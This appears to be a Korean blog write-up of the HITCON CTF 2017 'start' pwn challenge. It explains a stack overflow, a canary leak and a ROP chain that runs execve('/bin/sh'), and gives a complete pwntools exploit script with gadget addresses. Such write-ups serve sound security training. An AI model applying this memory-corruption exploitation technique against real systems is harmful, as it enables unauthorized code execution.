상세 컨텐츠

본문 제목

[HITCON CTF 2017] start

SYSTEM HACKING/CTF, etc

by koharin 2020. 2. 28. 18:26

본문

728x90
반응형

# checksec / file

 


# process

 

 

V4+SFP 크기는 0x20인데 217 바이트 입력할 수 있어서 overflow 취약점 발생

 

1) ROP gadget 찾기

 

 

2) canary leak

 

Buf(0x18) + ‘B’

p.recvuntil(‘B’) => 하위 바이트가 null byte라서 상관없다.

canary = “\x00” + p.recv(7)

 

*주의 : send로 개행문자 없이 보내야 canary가 제대로 leak된다.

 

3) read(0, bss, len(binsh))

- ROP

- 입력 시 "/bin/sh" 입력한다.

 

bss : 0x6cdb60

 

read : 0x440300

 

(stripped되어있어서 read 주소를 찾아야 했다.)

 

 

4) execve(bss, NULL, NULL)

 

- syscall로 execve를 호출해서 "/bin/sh"을 실행한다.

 

execve syscall id : 0x3b

rbx : 0

rax : 0x3b

rdx : 0

rsi : 0

rdi : bss

 

5) payload 전달 후 exit을 해서 "/bin/sh" 전달이 read에서 입력받는 것으로 하지 않게 한다.


 

# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

p = process("./start")
elf = ELF("./start")
pop_rdi = 0x4005d5
pop_rsi = 0x4017f7
pop_rdx = 0x443776
pop_rax_rdx_rbx = 0x47a6e6
binsh = "/bin/sh\x00"
syscall = 0x4003fc
read = 0x440300
bss = elf.bss()

# canary leak
pay = 'A'*0x18
pay += 'B'

p.send(pay)

p.recvuntil('B')
canary = u64("\x00" + p.recv(7))

# read(0, bss, len(binsh))
pay = 'A'*0x18
pay += p64(canary)
pay += p64(0) # SFP
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi) + p64(bss)
pay += p64(pop_rdx) + p64(len(binsh))
pay += p64(read)
# execve("/bin/sh", NULL, NULL)
pay += p64(pop_rax_rdx_rbx) + p64(0x3b) + p64(0) + p64(0)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rdi) + p64(bss)
pay += p64(syscall)

p.send(pay)
p.sendline("exit")
p.send(binsh)

p.interactive()

 

# exploit

 


 

728x90
반응형

관련글 더보기